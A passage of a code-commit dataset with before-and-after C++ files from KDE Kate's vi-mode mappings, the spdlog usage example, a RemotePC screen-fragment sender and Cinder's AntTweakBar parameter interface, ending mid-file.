KateViKeyParser::getInstance()->encodeKeySequence( to );\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n }\n}\n\nconst QString KateViGlobal::getMapping( ViMode mode, const QString &from, bool decode ) const\n{\n QString ret;\n switch ( mode ) {\n case NormalMode:\n ret = m_normalModeMappings.value( from );\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n\n if ( decode ) {\n return KateViKeyParser::getInstance()->decodeKeySequence( ret );\n }\n return ret;\n}\n\nconst QStringList KateViGlobal::getMappings( ViMode mode, bool decode ) const\n{\n QStringList l;\n switch (mode ) {\n case NormalMode:\n foreach ( const QString &str, m_normalModeMappings.keys() ) {\n if ( decode ) {\n l << KateViKeyParser::getInstance()->decodeKeySequence( str );\n } else {\n l << str;\n }\n }\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n\n return l;\n}\n\nvoid KateViGlobal::clearMappings( ViMode mode )\n{\n switch (mode ) {\n case NormalMode:\n m_normalModeMappings.clear();\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\/\n\/* spdlog - an extremely fast and easy to use c++11 logging library. *\/\n\/* Copyright (c) 2014 Gabi Melman. *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the *\/\n\/* \"Software\"), to deal in the Software without restriction, including *\/\n\/* without limitation the rights to use, copy, modify, merge, publish, *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\/\n\/*************************************************************************\/\n\n\/\/\n\/\/ spdlog usage example\n\/\/\n#include <iostream>\n#include \"spdlog\/spdlog.h\"\n\nint main(int, char* [])\n{\n namespace spd = spdlog;\n try\n {\n \/\/ Set log level to all loggers to DEBUG and above\n spd::set_level(spd::level::debug);\n\n \/\/Create console, multithreaded logger\n auto console = spd::stdout_logger_mt(\"console\");\n console->info(\"Welcome to spdlog!\") ;\n console->info(\"An info message example {}..\", 1);\n console->info() << \"Streams are supported too \" << 1;\n\n console->info(\"Easy padding in numbers like {:08d}\", 12);\n console->info(\"Support for int: {0:d}; hex: {0:x}; oct: {0:o}; bin: {0:b}\", 42);\n console->info(\"Support for floats {:03.2f}\", 1.23456);\n console->info(\"Positional args are {1} {0}..\", \"too\", \"supported\");\n\n console->info(\"{:<30}\", \"left aligned\");\n console->info(\"{:>30}\", \"right aligned\");\n console->info(\"{:^30}\", \"centered\");\n \n \/\/Create a file rotating logger with 5mb size max and 3 rotated files\n auto file_logger = spd::rotating_logger_mt(\"file_logger\", \"logs\/mylogfile\", 1048576 * 5, 3);\n file_logger->set_level(spd::level::info);\n for(int i = 0; i < 10; ++i)\n\t\t file_logger->info(\"{} * {} equals {:>10}\", i, i, i*i);\n\n \/\/Customize msg format for all messages\n spd::set_pattern(\"*** [%H:%M:%S %z] [thread %t] %v ***\");\n file_logger->info(\"This is another message with custom format\");\n\n spd::get(\"console\")->info(\"loggers can be retrieved from a global registry using the spdlog::get(logger_name) function\");\n\n SPDLOG_TRACE(console, \"Enabled only #ifdef SPDLOG_TRACE_ON..{} ,{}\", 1, 3.23);\n SPDLOG_DEBUG(console, \"Enabled only #ifdef SPDLOG_DEBUG_ON.. {} ,{}\", 1, 3.23);\n\n \/\/\n \/\/ Asynchronous logging is very fast..\n \/\/ Just call spdlog::set_async_mode(q_size) and all created loggers from now on will be asynchronous..\n \/\/\n size_t q_size = 1048576; \/\/queue size must be power of 2\n spdlog::set_async_mode(q_size);\n auto async_file= spd::daily_logger_st(\"async_file_logger\", \"logs\/async_log.txt\");\n async_file->info() << \"This is async log..\" << \"Should be very fast!\";\n \n\t\t#ifdef __linux__\n \/\/ syslog example. linux only..\n std::string ident = \"spdlog-example\";\n auto syslog_logger = spd::syslog_logger(\"syslog\", ident, LOG_PID);\n syslog_logger->warn(\"This is warning that will end up in syslog. This is Linux only!\"); \n\t\t#endif\n\n }\n catch (const spd::spdlog_ex& ex)\n {\n std::cout << \"Log failed: \" << ex.what() << std::endl;\n }\n}\n<commit_msg>updated example<commit_after>\/*************************************************************************\/\n\/* spdlog - an extremely fast and easy to use c++11 logging library. *\/\n\/* Copyright (c) 2014 Gabi Melman. *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the *\/\n\/* \"Software\"), to deal in the Software without restriction, including *\/\n\/* without limitation the rights to use, copy, modify, merge, publish, *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\/\n\/*************************************************************************\/\n\n\/\/\n\/\/ spdlog usage example\n\/\/\n#include <iostream>\n#include \"spdlog\/spdlog.h\"\n\nint main(int, char* [])\n{\n namespace spd = spdlog;\n try\n {\n \/\/ Set log level to all loggers to debug and above\n spd::set_level(spd::level::debug);\n\n \/\/ Create console, multithreaded logger\n auto console = spd::stdout_logger_mt(\"console\");\n console->info(\"Welcome to spdlog!\") ;\n console->info(\"An info message example {}..\", 1);\n console->info() << \"Streams are supported too \" << 1;\n\n console->info(\"Easy padding in numbers like {:08d}\", 12);\n console->info(\"Support for int: {0:d}; hex: {0:x}; oct: {0:o}; bin: {0:b}\", 42);\n console->info(\"Support for floats {:03.2f}\", 1.23456);\n console->info(\"Positional args are {1} {0}..\", \"too\", \"supported\");\n\n console->info(\"{:<30}\", \"left aligned\");\n console->info(\"{:>30}\", \"right aligned\");\n console->info(\"{:^30}\", \"centered\");\n \n \/\/ Create a file rotating logger with 5mb size max and 3 rotated files\n auto file_logger = spd::rotating_logger_mt(\"file_logger\", \"logs\/mylogfile\", 1048576 * 5, 3);\n file_logger->set_level(spd::level::info);\n for(int i = 0; i < 10; ++i)\n\t\t file_logger->info(\"{} * {} equals {:>10}\", i, i, i*i);\n\n \/\/ Customize msg format for all messages\n spd::set_pattern(\"*** [%H:%M:%S %z] [thread %t] %v ***\");\n file_logger->info(\"This is another message with custom format\");\n\n spd::get(\"console\")->info(\"loggers can be retrieved from a global registry using the spdlog::get(logger_name) function\");\n\n SPDLOG_TRACE(console, \"Enabled only #ifdef SPDLOG_TRACE_ON..{} ,{}\", 1, 3.23);\n SPDLOG_DEBUG(console, \"Enabled only #ifdef SPDLOG_DEBUG_ON.. {} ,{}\", 1, 3.23);\n\n \/\/\n \/\/ Asynchronous logging is very fast..\n \/\/ Just call spdlog::set_async_mode(q_size) and all created loggers from now on will be asynchronous..\n \/\/\n size_t q_size = 1048576; \/\/queue size must be power of 2\n spdlog::set_async_mode(q_size);\n auto async_file= spd::daily_logger_st(\"async_file_logger\", \"logs\/async_log.txt\");\n async_file->info() << \"This is async log..\" << \"Should be very fast!\";\n \n \t\/\/ syslog example. linux only.. \n\t\t#ifdef __linux__\n std::string ident = \"spdlog-example\";\n auto syslog_logger = spd::syslog_logger(\"syslog\", ident, LOG_PID);\n syslog_logger->warn(\"This is warning that will end up in syslog. This is Linux only!\"); \n\t\t#endif\n\n }\n catch (const spd::spdlog_ex& ex)\n {\n std::cout << \"Log failed: \" << ex.what() << std::endl;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2013 Egor Pushkin. All rights reserved.\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"Common\/Common.h\"\n\n\/\/ Server object model.\n#include \"..\/..\/Server\/Client.h\"\n#include \"..\/..\/Server\/IClientHandler.h\"\n#include \"..\/..\/Server\/Services\/Services.h\"\n#include \"..\/..\/Server\/IServerControl.h\"\n#include \"..\/..\/Server\/Config.h\"\n#include \"ScreenshotSpreader.h\"\n\n\/\/ Hardware subsystem.\n#include \"Hardware\/Hardware.h\"\n\n\/\/ Interaction protocol tool.\n#include \"Messages\/ScreenshotMessage.h\"\n\n\/\/ QT is responsible for image capturing and resizing.\n#include <QtGui\/QtGui>\n#include <QDesktopWidget>\n#include <QApplication>\n\nnamespace RemotePC\n{\n\tvoid ScreenshotSpreader::Handle(const Client& client, mc::IProtocolRef protocol, IServerControlRef \/* server *\/)\n\t{\n if ( !client.IsScreenCaptureEnabled() )\n return;\n\n \/\/ Acquire mouse cursor position.\n RemotePC::ScreenPoint position = RemotePC::HardwareProvider::Instance().GetMouseControl()->GetPosition();\n\n \/\/ Calculate bounding box around current mouse position.\n float blockSize = 256.0f;\n float zoomLevel = client.GetZoomLevel();\n int imageSize = (int)( blockSize * zoomLevel );\n int leftX = position.x_ - imageSize \/ 2;\n int topY = position.y_ - imageSize \/ 2;\n int rightX = leftX + imageSize;\n int bottomY = topY + imageSize;\n\n \/\/ Find screen to which cursor currently belongs.\n QDesktopWidget* desktop = QApplication::desktop();\n int screenNumber = desktop->screenNumber(QPoint(position.x_, position.y_));\n QWidget* screen = desktop->screen(screenNumber);\n QRect geometry = screen->geometry();\n\n \/\/ Cut areas beyond the surface of the screen.\n int leftdX = ( leftX < geometry.left() ) ? ( geometry.left() - leftX ) : 0;\n int topdY = ( topY < geometry.top() ) ? ( geometry.top() - topY ) : 0;\n int rightdX = ( rightX > geometry.right() ) ? ( rightX - geometry.right() ) : 0;\n int bottomdY = ( bottomY >= geometry.bottom() ) ? ( bottomY - geometry.bottom() ) : 0;\n leftX += leftdX;\n topY += topdY;\n rightX += rightdX;\n bottomY += bottomdY;\n int fragmentWidth = imageSize - leftdX - rightdX;\n int fragmentHeight = imageSize - topdY - bottomdY;\n bool isBoundary = ( leftdX > 0 ) || ( topdY > 0 ) || ( rightdX > 0 ) || ( bottomdY > 0 );\n\n \/\/ Grab part of the screen.\n QPixmap fragment = QApplication::primaryScreen()->grabWindow(\n QApplication::desktop()->winId(),\n leftX, topY, fragmentWidth, fragmentHeight);\n\n \/\/ Check to see if anything was actually grabbed.\n fragmentWidth = fragment.width();\n fragmentHeight = fragment.height();\n if ( fragmentWidth <= 0 || fragmentHeight <= 0 )\n {\n return;\n }\n\n if ( isBoundary )\n {\n \/\/ Image was grabbed right next to one of screen edges.\n QPixmap temp(blockSize, blockSize);\n QPainter painter(&temp);\n painter.fillRect(0, 0, blockSize, blockSize, QColor(Qt::black));\n QRect source(0, 0, fragmentWidth, fragmentHeight);\n QRect target(\n leftdX * blockSize \/ imageSize, topdY * blockSize \/ imageSize,\n fragmentWidth * blockSize \/ imageSize, fragmentHeight * blockSize \/ imageSize);\n painter.drawPixmap(target, fragment, source);\n fragment = temp;\n }\n else\n {\n if ( imageSize != (int)blockSize )\n {\n \/\/ Image was grabbed from within the screen.\n fragment = fragment.scaled(\n QSize(blockSize, blockSize),\n Qt::KeepAspectRatio,\n Qt::SmoothTransformation);\n }\n }\n\n \/\/ Construct screenshot message from QT image.\n QByteArray imageBytes;\n QBuffer imageBuffer(&imageBytes);\n imageBuffer.open(QIODevice::WriteOnly);\n #if !defined(IREMOTE_NO_QT_PLUGINS)\n fragment.save(&imageBuffer, \"JPG\", Config::Instance().GetSFBCompression());\n #else\n fragment.save(&imageBuffer, \"PNG\", Config::Instance().GetSFBCompression());\n #endif\n\n mc::IMessagePtr message(\n mc::Class< RemotePC::ScreenshotMessage >::Create(\n imageBytes.size(), imageBytes.constData() ) );\n\n \/\/ Send image to the client.\n protocol->Send( message );\n\t}\n}\n<commit_msg>RPC. Image quality is preserved better when scaling this way.<commit_after>\/**\n * Copyright (c) 2013 Egor Pushkin. All rights reserved.\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"Common\/Common.h\"\n\n\/\/ Server object model.\n#include \"..\/..\/Server\/Client.h\"\n#include \"..\/..\/Server\/IClientHandler.h\"\n#include \"..\/..\/Server\/Services\/Services.h\"\n#include \"..\/..\/Server\/IServerControl.h\"\n#include \"..\/..\/Server\/Config.h\"\n#include \"ScreenshotSpreader.h\"\n\n\/\/ Hardware subsystem.\n#include \"Hardware\/Hardware.h\"\n\n\/\/ Interaction protocol tool.\n#include \"Messages\/ScreenshotMessage.h\"\n\n\/\/ QT is responsible for image capturing and resizing.\n#include <QtGui\/QtGui>\n#include <QDesktopWidget>\n#include <QApplication>\n\nnamespace RemotePC\n{\n\tvoid ScreenshotSpreader::Handle(const Client& client, mc::IProtocolRef protocol, IServerControlRef \/* server *\/)\n\t{\n if ( !client.IsScreenCaptureEnabled() )\n return;\n\n \/\/ Acquire mouse cursor position.\n RemotePC::ScreenPoint position = RemotePC::HardwareProvider::Instance().GetMouseControl()->GetPosition();\n\n \/\/ Calculate bounding box around current mouse position.\n float blockSize = 256.0f;\n float zoomLevel = client.GetZoomLevel();\n int imageSize = (int)( blockSize * zoomLevel );\n int leftX = position.x_ - imageSize \/ 2;\n int topY = position.y_ - imageSize \/ 2;\n int rightX = leftX + imageSize;\n int bottomY = topY + imageSize;\n\n \/\/ Find screen to which cursor currently belongs.\n QDesktopWidget* desktop = QApplication::desktop();\n int screenNumber = desktop->screenNumber(QPoint(position.x_, position.y_));\n QWidget* screen = desktop->screen(screenNumber);\n QRect geometry = screen->geometry();\n\n \/\/ Cut areas beyond the surface of the screen.\n int leftdX = ( leftX < geometry.left() ) ? ( geometry.left() - leftX ) : 0;\n int topdY = ( topY < geometry.top() ) ? ( geometry.top() - topY ) : 0;\n int rightdX = ( rightX > geometry.right() ) ? ( rightX - geometry.right() ) : 0;\n int bottomdY = ( bottomY >= geometry.bottom() ) ? ( bottomY - geometry.bottom() ) : 0;\n leftX += leftdX;\n topY += topdY;\n rightX += rightdX;\n bottomY += bottomdY;\n int fragmentWidth = imageSize - leftdX - rightdX;\n int fragmentHeight = imageSize - topdY - bottomdY;\n bool isBoundary = ( leftdX > 0 ) || ( topdY > 0 ) || ( rightdX > 0 ) || ( bottomdY > 0 );\n\n \/\/ Grab part of the screen.\n QPixmap fragment = QApplication::primaryScreen()->grabWindow(\n QApplication::desktop()->winId(),\n leftX, topY, fragmentWidth, fragmentHeight);\n\n \/\/ Check to see if anything was actually grabbed.\n fragmentWidth = fragment.width();\n fragmentHeight = fragment.height();\n if ( fragmentWidth <= 0 || fragmentHeight <= 0 )\n {\n return;\n }\n\n if ( isBoundary )\n {\n \/\/ Image was grabbed right next to one of screen edges.\n\n \/\/ Scale image first. QPainter's scaling does not always work even with QPainter::SmoothPixmapTransform.\n fragment = fragment.scaled(\n QSize(fragmentWidth * blockSize \/ imageSize, fragmentHeight * blockSize \/ imageSize),\n Qt::KeepAspectRatio,\n Qt::SmoothTransformation);\n\n \/\/ Locate grabbed fragment appropriately in the resulting image.\n QPixmap temp(blockSize, blockSize);\n QPainter painter(&temp);\n painter.fillRect(0, 0, blockSize, blockSize, QColor(Qt::black));\n painter.drawPixmap(QPoint(leftdX * blockSize \/ imageSize, topdY * blockSize \/ imageSize), fragment);\n fragment = temp;\n }\n else\n {\n if ( imageSize != (int)blockSize )\n {\n \/\/ Image was grabbed from within the screen.\n fragment = fragment.scaled(\n QSize(blockSize, blockSize),\n Qt::KeepAspectRatio,\n Qt::SmoothTransformation);\n }\n }\n\n \/\/ Construct screenshot message from QT image.\n QByteArray imageBytes;\n QBuffer imageBuffer(&imageBytes);\n imageBuffer.open(QIODevice::WriteOnly);\n #if !defined(IREMOTE_NO_QT_PLUGINS)\n fragment.save(&imageBuffer, \"JPG\", Config::Instance().GetSFBCompression());\n #else\n fragment.save(&imageBuffer, \"PNG\", Config::Instance().GetSFBCompression());\n #endif\n\n \/\/ Construct message object.\n mc::IMessagePtr message(\n mc::Class< RemotePC::ScreenshotMessage >::Create(\n imageBytes.size(), imageBytes.constData() ) );\n\n \/\/ Send image to the client.\n protocol->Send( message );\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright (c) 2010, The Barbarian Group\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list of conditions and\n\tthe following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n\tthe following disclaimer in the documentation and\/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"cinder\/app\/App.h\"\n#include \"cinder\/params\/Params.h\"\n\n#include \"AntTweakBar.h\"\n\nusing namespace std;\n\nnamespace cinder { namespace params {\n\nnamespace {\n\nbool mouseDown( app::MouseEvent event )\n{\n\tTwMouseButtonID button;\n\tif( event.isLeft() )\n\t\tbutton = TW_MOUSE_LEFT;\n\telse if( event.isRight() )\n\t\tbutton = TW_MOUSE_RIGHT;\n\telse\n\t\tbutton = TW_MOUSE_MIDDLE;\n\treturn TwMouseButton( TW_MOUSE_PRESSED, button ) != 0;\n}\n\nbool mouseUp( app::MouseEvent event )\n{\n\tTwMouseButtonID button;\n\tif( event.isLeft() )\n\t\tbutton = TW_MOUSE_LEFT;\n\telse if( event.isRight() )\n\t\tbutton = TW_MOUSE_RIGHT;\n\telse\n\t\tbutton = TW_MOUSE_MIDDLE;\n\treturn TwMouseButton( TW_MOUSE_RELEASED, button ) != 0;\n}\n\nbool mouseWheel( app::MouseEvent event )\n{\n\tstatic float sWheelPos = 0;\n\tsWheelPos += event.getWheelIncrement();\n\treturn TwMouseWheel( (int)(sWheelPos) ) != 0;\n}\n\nbool mouseMove( app::MouseEvent event )\n{\n\treturn TwMouseMotion( event.getX(), event.getY() ) != 0;\n}\n\nbool keyDown( app::KeyEvent event )\n{\n\tint kmod = 0;\n\tif( event.isShiftDown() )\n\t\tkmod |= TW_KMOD_SHIFT;\n\tif( event.isControlDown() )\n\t\tkmod |= TW_KMOD_CTRL;\n\tif( event.isAltDown() )\n\t\tkmod |= TW_KMOD_ALT;\n\treturn TwKeyPressed( event.getChar(), kmod ) != 0;\n}\n\nbool resize( app::ResizeEvent event )\n{\n\tTwWindowSize( event.getWidth(), event.getHeight() );\n\treturn false;\n}\n\nvoid TW_CALL implStdStringToClient( std::string& destinationClientString, const std::string& sourceLibraryString )\n{\n \/\/ copy strings from the library to the client app\n destinationClientString = sourceLibraryString;\n}\n\nclass AntMgr {\n public:\n\tAntMgr() {\n\t\tif( ! TwInit( TW_OPENGL, NULL ) ) {\n\t\t\tthrow Exception();\n\t\t}\n\t\t\n\t\tapp::App::get()->registerMouseDown( mouseDown );\n\t\tapp::App::get()->registerMouseUp( mouseUp );\n\t\tapp::App::get()->registerMouseWheel( mouseWheel );\t\t\n\t\tapp::App::get()->registerMouseMove( mouseMove );\n\t\tapp::App::get()->registerMouseDrag( mouseMove );\n\t\tapp::App::get()->registerKeyDown( keyDown );\n\t\tapp::App::get()->registerResize( resize );\n\t}\n\t\n\t~AntMgr() {\n\t\tTwTerminate();\n\t}\n};\n\n} \/\/ anonymous namespace\n\nvoid initAntGl()\n{\n\tstatic std::shared_ptr<AntMgr> mgr;\n\tif( ! mgr )\n\t\tmgr = std::shared_ptr<AntMgr>( new AntMgr );\n}\n\n\nInterfaceGl::InterfaceGl( const std::string &title, const Vec2i &size, const ColorA color )\n{\n\tinitAntGl();\n\tmBar = std::shared_ptr<TwBar>( TwNewBar( title.c_str() ), TwDeleteBar );\n\tchar optionsStr[1024];\n\tsprintf( optionsStr, \"`%s` size='%d %d' color='%d %d %d' alpha=%d\", title.c_str(), size.x, size.y, (int)(color.r * 255), (int)(color.g * 255), (int)(color.b * 255), (int)(color.a * 255) );\n\tTwDefine( optionsStr );\n\t\n\tTwCopyStdStringToClientFunc( implStdStringToClient );\n}\n\nvoid InterfaceGl::draw()\n{\n\tTwDraw();\n}\n\nvoid InterfaceGl::show( bool visible )\n{\n\tint32_t visibleInt = ( visible ) ? 1 : 0;\n\tTwSetParam( mBar.get(), NULL, \"visible\", TW_PARAM_INT32, 1, &visibleInt );\n}\n\nvoid InterfaceGl::hide()\n{\n\tint32_t visibleInt = 0;\n\tTwSetParam( mBar.get(), NULL, \"visible\", TW_PARAM_INT32, 1, &visibleInt );\n}\n\nbool InterfaceGl::isVisible() const\n{\n\tint32_t visibleInt;\n\tTwGetParam( mBar.get(), NULL, \"visible\", TW_PARAM_INT32, 1, &visibleInt );\n\treturn visibleInt != 0;\n}\n\nvoid InterfaceGl::implAddParam( const std::string &name, void *param, int type, const std::string &optionsStr, bool readOnly )\n{\n\tif( readOnly )\n\t\tTwAddVarRO( mBar.get(), name.c_str(), (TwType)type, param, optionsStr.c_str() );\n\telse\n\t\tTwAddVarRW( mBar.get(), name.c_str(), (TwType)type, param, optionsStr.c_str() );\n}\n\nvoid InterfaceGl::addParam( const std::string &name, bool *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_BOOLCPP, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, float *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_FLOAT, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, int32_t *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_INT32, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, Vec3f *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_DIR3F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, Quatf *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_QUAT4F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, Color *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_COLOR3F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, ColorA *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_COLOR4F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, std::string *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_STDSTRING, optionsStr, readOnly );\n}\n\nvoid InterfaceGl::addParam( const std::string &name, const std::vector<std::string> &enumNames, int *param, const std::string &optionsStr, bool readOnly )\n{\n\tTwEnumVal *ev = new TwEnumVal[enumNames.size()];\n\tfor( size_t v = 0; v < enumNames.size(); ++v ) {\n\t\tev[v].Value = v;\n\t\tev[v].Label = const_cast<char*>( enumNames[v].c_str() );\n\t}\n\n\tTwType evType = TwDefineEnum( (name + \"EnumType\").c_str(), ev, enumNames.size() );\n\n\tif( readOnly )\n\t\tTwAddVarRO( mBar.get(), name.c_str(), evType, param, optionsStr.c_str() );\n\telse\n\t\tTwAddVarRW( mBar.get(), name.c_str(), evType, param, optionsStr.c_str() );\n\t\t\n\tdelete [] ev;\n}\n\nvoid InterfaceGl::addSeparator( const std::string &name, const std::string &optionsStr )\n{\n\tTwAddSeparator( mBar.get(), name.c_str(), optionsStr.c_str() );\n}\n\nvoid InterfaceGl::addText( const std::string &name, const std::string &optionsStr )\n{\n\tTwAddButton( mBar.get(), name.c_str(), NULL, NULL, optionsStr.c_str() );\n}\n\nnamespace { \/\/ anonymous namespace\nvoid TW_CALL implButtonCallback( void *clientData )\n{\n\tstd::function<void ()> *fn = reinterpret_cast<std::function<void ()>*>( clientData );\n\t(*fn)(); \n} \n} \/\/ anonymous namespace\n\nvoid InterfaceGl::addButton( const std::string &name, const std::function<void ()> &callback, const std::string &optionsStr )\n{\n\tstd::shared_ptr<std::function<void ()> > callbackPtr( new std::function<void ()>( callback ) );\n\tmButtonCallbacks.push_back( callbackPtr );\n\tTwAddButton( mBar.get(), name.c_str(), implButtonCallback, (void*)callbackPtr.get(), optionsStr.c_str() );\n}\n\nvoid InterfaceGl::setOptions( const std::string &name, const std::string &optionsStr )\n{\n\tstd::string target = \"`\" + (std::string)TwGetBarName( mBar.get() ) + \"`\";\n\tif( !( name.empty() ) )\n\t\ttarget += \"\/`\" + name + \"`\";\n\n\tTwDefine( ( target + \" \" + optionsStr ).c_str() );\n}\n\n} } \/\/ namespace cinder::params\n<commit_msg>translate special keys to AntTweakBar<commit_after>\/*\n Copyright (c) 2010, The Barbarian Group\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list of conditions and\n\tthe following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n\tthe following disclaimer in the documentation and\/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 